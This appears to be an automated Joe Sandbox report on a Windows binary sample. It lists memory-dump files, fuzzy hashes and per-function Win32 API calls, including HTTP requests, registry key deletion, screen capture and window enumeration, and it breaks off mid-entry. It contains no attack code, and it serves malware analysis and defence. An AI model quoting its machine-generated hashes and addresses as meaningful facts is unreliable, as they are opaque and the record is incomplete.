Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: a1af24f3f3cad688418e4bc87c57718bba5831eec460d5fafceb17eae79e9914
Instruction ID: ede847041989765a11573cfde95a5394e36b15f030eca8acc4cb69439fe248d7
Opcode Fuzzy Hash: a1af24f3f3cad688418e4bc87c57718bba5831eec460d5fafceb17eae79e9914
Instruction Fuzzy Hash: BD1239B5A10205EFDB14DF94C884EAEBBB9FF45314F248099E909AB251C731FD52CBA0

Function 001B326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00281990), ref: 001F2F8D
GetMenuItemCount.USER32(00281990), ref: 001F303D
GetCursorPos.USER32(?), ref: 001F3081
SetForegroundWindow.USER32(00000000), ref: 001F308A
TrackPopupMenuEx.USER32(00281990,00000000,?,00000000,00000000,00000000), ref: 001F309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 001F30A9

Strings

0, xrefs: 001B327D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: bb05127660b5de6c3fe2c5513e3d9e52c1e978635fcf6a0d1090624aff19e6ee
Instruction ID: 73fd9e257beca4bc953a0bbf5c8e73ce1de4c711a34b9650e8a52f0eec7d834d
Opcode Fuzzy Hash: bb05127660b5de6c3fe2c5513e3d9e52c1e978635fcf6a0d1090624aff19e6ee
Instruction Fuzzy Hash: 3671FC70641209BEEB258F68DC49FEABF64FF05364F204216F625AA1D1C7B1AD60DB90

Function 00246CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00246DEB

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00246E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00246E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00246E94
DestroyWindow.USER32(?), ref: 00246EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,001B0000,00000000), ref: 00246EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00246EFD
GetDesktopWindow.USER32 ref: 00246F16
GetWindowRect.USER32(00000000), ref: 00246F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00246F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00246F4D

Part of subcall function 001C9944: GetWindowLongW.USER32(?,000000EB), ref: 001C9952

Strings

tooltips_class32, xrefs: 00246E58, 00246EDD
0, xrefs: 00246D98

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 491b547d539eea75553d6e7bd62aa562002aeb15ab1a08e92909f53a65ad3f88
Instruction ID: ca920b9645be6ad03f6fa36d106eafec4a8789de188294686053a8fb7a0ed36d
Opcode Fuzzy Hash: 491b547d539eea75553d6e7bd62aa562002aeb15ab1a08e92909f53a65ad3f88
Instruction Fuzzy Hash: 51716D74114341AFDB29CF18E848EA6BBE9FB8A304F14441DF99987261C771A91ACB12

Function 0022C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0022C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0022C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0022C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0022C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0022C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0022C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0022C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0022C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0022C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0022C5F0
InternetCloseHandle.WININET(00000000), ref: 0022C5FB

Strings

, xrefs: 0022C575

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 99be4097b0bfd9db16d417c7304207fd13788054a31b283d00a6d019be8f2e6c
Instruction ID: 7493dc16f6aa985d18119a75e45ed99f127bd3f1bd66a56e41d0a3e8260dbb98
Opcode Fuzzy Hash: 99be4097b0bfd9db16d417c7304207fd13788054a31b283d00a6d019be8f2e6c
Instruction Fuzzy Hash: CA518BB4110619BFDB219FA4ED88AAF7BFCFF09354F20441AF945A6210DB74E924DB60

Function 0024856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00248592
GetFileSize.KERNEL32(00000000,00000000), ref: 002485A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 002485AD
CloseHandle.KERNEL32(00000000), ref: 002485BA
GlobalLock.KERNEL32(00000000), ref: 002485C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 002485D7
GlobalUnlock.KERNEL32(00000000), ref: 002485E0
CloseHandle.KERNEL32(00000000), ref: 002485E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 002485F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,0024FC38,?), ref: 00248611
GlobalFree.KERNEL32(00000000), ref: 00248621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00248641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00248671
DeleteObject.GDI32(00000000), ref: 00248699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 002486AF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 1659299be8fc7464ef15ba6605c1627f1798062a12b75b3c3b1a31a73d47d414
Instruction ID: b043049b0dc04346f42896d53f9e8cd942e8831ceba4e0ec676bdf7ea1d2993d
Opcode Fuzzy Hash: 1659299be8fc7464ef15ba6605c1627f1798062a12b75b3c3b1a31a73d47d414
Instruction Fuzzy Hash: 32412B75611205AFDB55DFA9DC4CEAE7BBCEF8AB11F114058F909E7260DB709901CB20

Function 002214BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00221502
VariantCopy.OLEAUT32(?,?), ref: 0022150B
VariantClear.OLEAUT32(?), ref: 00221517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 002215FB
VarR8FromDec.OLEAUT32(?,?), ref: 00221657
VariantInit.OLEAUT32(?), ref: 00221708
SysFreeString.OLEAUT32(?), ref: 0022178C
VariantClear.OLEAUT32(?), ref: 002217D8
VariantClear.OLEAUT32(?), ref: 002217E7
VariantInit.OLEAUT32(00000000), ref: 00221823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00221625
Default, xrefs: 002216AF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 6dfe35db5adbf7d32804d7e01b7f36c5a62030417b0972d9bee8d6dda8883dd6
Instruction ID: 33d4c7d1c25eda0e86a973d0267ad0153fef9f4ff8d4fbfc5c73b894aab90bb6
Opcode Fuzzy Hash: 6dfe35db5adbf7d32804d7e01b7f36c5a62030417b0972d9bee8d6dda8883dd6
Instruction Fuzzy Hash: 34D1CF71A20225EBDB109FA5E885FB9B7B5BF65700F60809AF406AB180DB70DC71DB61

Function 0023B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 0023C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0023B6AE,?,?), ref: 0023C9B5
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023C9F1
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA68
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0023B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0023B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0023B80A
RegCloseKey.ADVAPI32(?), ref: 0023B87E
RegCloseKey.ADVAPI32(?), ref: 0023B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0023B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0023B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0023B922
FreeLibrary.KERNEL32(00000000), ref: 0023B983
RegCloseKey.ADVAPI32(00000000), ref: 0023B994

Strings

advapi32.dll, xrefs: 0023B8ED
RegDeleteKeyExW, xrefs: 0023B8FE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 1021918b6220015177b5548e9f39b572e3eda75e25c0dc1ff72e35c6e0fa9f61
Instruction ID: 00b33d6b89ed187847007b9f62d0fdadced01b0a5fbb67d2357976750793b978
Opcode Fuzzy Hash: 1021918b6220015177b5548e9f39b572e3eda75e25c0dc1ff72e35c6e0fa9f61
Instruction Fuzzy Hash: 5FC18B75214202AFD711DF18C495F6ABBE5FF84308F24849CF69A8B2A2CB71EC45CB91

Function 0023255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 002325D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 002325E8
CreateCompatibleDC.GDI32(?), ref: 002325F4
SelectObject.GDI32(00000000,?), ref: 00232601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0023266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 002326AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 002326D0
SelectObject.GDI32(?,?), ref: 002326D8
DeleteObject.GDI32(?), ref: 002326E1
DeleteDC.GDI32(?), ref: 002326E8
ReleaseDC.USER32(00000000,?), ref: 002326F3

Strings

(, xrefs: 0023268D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: a037bb29e959b4a6765282125f72b8344e216a7322a03b64ff22b500dc16f50e
Instruction ID: a7d46dd2f288788500101e04991f131855e1f88b03fd6a95453f2319c70eddf6
Opcode Fuzzy Hash: a037bb29e959b4a6765282125f72b8344e216a7322a03b64ff22b500dc16f50e
Instruction Fuzzy Hash: 5C61F3B5D11219EFCF04CFA8D885EAEBBB9FF48310F208529E959A7250D770A951CF50

Function 001EDA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 001EDAA1

Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED659
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED66B
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED67D
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED68F
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6A1
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6B3
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6C5
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6D7
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6E9
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED6FB
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED70D
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED71F
Part of subcall function 001ED63C: _free.LIBCMT ref: 001ED731

_free.LIBCMT ref: 001EDA96

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

_free.LIBCMT ref: 001EDAB8
_free.LIBCMT ref: 001EDACD
_free.LIBCMT ref: 001EDAD8
_free.LIBCMT ref: 001EDAFA
_free.LIBCMT ref: 001EDB0D
_free.LIBCMT ref: 001EDB1B
_free.LIBCMT ref: 001EDB26
_free.LIBCMT ref: 001EDB5E
_free.LIBCMT ref: 001EDB65
_free.LIBCMT ref: 001EDB82
_free.LIBCMT ref: 001EDB9A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 472f95c058f55951b27b7dbc2d5623eb1fdaaa81e03d3cec154e40830c120d6c
Instruction ID: 6226d0d098318982a14b1d1415d21a4421928ed2f58b0d42cdc3c93da7b6f376
Opcode Fuzzy Hash: 472f95c058f55951b27b7dbc2d5623eb1fdaaa81e03d3cec154e40830c120d6c
Instruction Fuzzy Hash: 23318D31604B889FEB25AA3AF846B5EB7E8FF61314F125429E458D7192EF35ED40C720

Function 0021365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0021369C
_wcslen.LIBCMT ref: 002136A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00213797
GetClassNameW.USER32(?,?,00000400), ref: 0021380C
GetDlgCtrlID.USER32(?), ref: 0021385D
GetWindowRect.USER32(?,?), ref: 00213882
GetParent.USER32(?), ref: 002138A0
ScreenToClient.USER32(00000000), ref: 002138A7
GetClassNameW.USER32(?,?,00000100), ref: 00213921
GetWindowTextW.USER32(?,?,00000400), ref: 0021395D

Strings

%s%u, xrefs: 00213734

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: b977841c9a8ccfcafd47798db661826edb64da5c4ae95fb42790d55549334f63
Instruction ID: 38579a3cc89ab395ca69347fe948bd402fba1046348a299942d1b62aae4ef309
Opcode Fuzzy Hash: b977841c9a8ccfcafd47798db661826edb64da5c4ae95fb42790d55549334f63
Instruction Fuzzy Hash: 7F91D071214607AFD718DF24C884BEAF7EAFF64310F108529F999D2190DB30AAA5CB91

Function 00214954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00214994
GetWindowTextW.USER32(?,?,00000400), ref: 002149DA
_wcslen.LIBCMT ref: 002149EB
CharUpperBuffW.USER32(?,00000000), ref: 002149F7
_wcsstr.LIBVCRUNTIME ref: 00214A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00214A64
GetWindowTextW.USER32(?,?,00000400), ref: 00214A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00214AE6
GetClassNameW.USER32(?,?,00000400), ref: 00214B20
GetWindowRect.USER32(?,?), ref: 00214B8B

Strings

ThumbnailClass, xrefs: 00214A6F, 00214AF1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 499f4a9d32af5780d6d0c62d10a1772e83bf68556aa09a9fd98f8e985b801ebf
Instruction ID: d55962fa9efa30eda4bc72f725f6e693c087af852f152f18da3081170258ee8b
Opcode Fuzzy Hash: 499f4a9d32af5780d6d0c62d10a1772e83bf68556aa09a9fd98f8e985b801ebf
Instruction Fuzzy Hash: 9491E6714182069FDB04EF14C885FEA77E8FFA4314F04846AFD899A195DB30ED95CBA1

Function 0021BF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00281990,000000FF,00000000,00000030), ref: 0021BFAC
SetMenuItemInfoW.USER32(00281990,00000004,00000000,00000030), ref: 0021BFE1
Sleep.KERNEL32(000001F4), ref: 0021BFF3
GetMenuItemCount.USER32(?), ref: 0021C039
GetMenuItemID.USER32(?,00000000), ref: 0021C056
GetMenuItemID.USER32(?,-00000001), ref: 0021C082
GetMenuItemID.USER32(?,?), ref: 0021C0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0021C10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0021C124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0021C145

Strings

0, xrefs: 0021BF3D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 9d40701d918397697e3c8768e5560e27cca18e7b7e4c2ca493151a09b31cbac9
Instruction ID: 94ed4479217ab19ac5adf61bc07d220fd8b0b152f9244b5703ebef7478f03123
Opcode Fuzzy Hash: 9d40701d918397697e3c8768e5560e27cca18e7b7e4c2ca493151a09b31cbac9
Instruction Fuzzy Hash: 196193B895024AEFDF11CF68DC88AEE7BF8EB15344F204055F815A3291C771ADA5CB60

Function 0023CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0023CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0023CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0023CD48

Part of subcall function 0023CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0023CCAA
Part of subcall function 0023CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0023CCBD
Part of subcall function 0023CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0023CCCF
Part of subcall function 0023CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0023CD05
Part of subcall function 0023CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0023CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0023CCF3

Strings

advapi32.dll, xrefs: 0023CCB8
RegDeleteKeyExW, xrefs: 0023CCC9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 33dfd53b0f9f20fcb2fc340df5d9b6c30200ccb970d5b046a10299411caf4655
Instruction ID: 65dce5a3101846f573bd250dd2fd63110a448a4e3d3bce01931e5d1fd2c93db6
Opcode Fuzzy Hash: 33dfd53b0f9f20fcb2fc340df5d9b6c30200ccb970d5b046a10299411caf4655
Instruction Fuzzy Hash: 163180B5A12129BBD7218F54DC8CEFFBB7CEF06750F200565B909E2240DA749A45DBA0

Function 00223D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

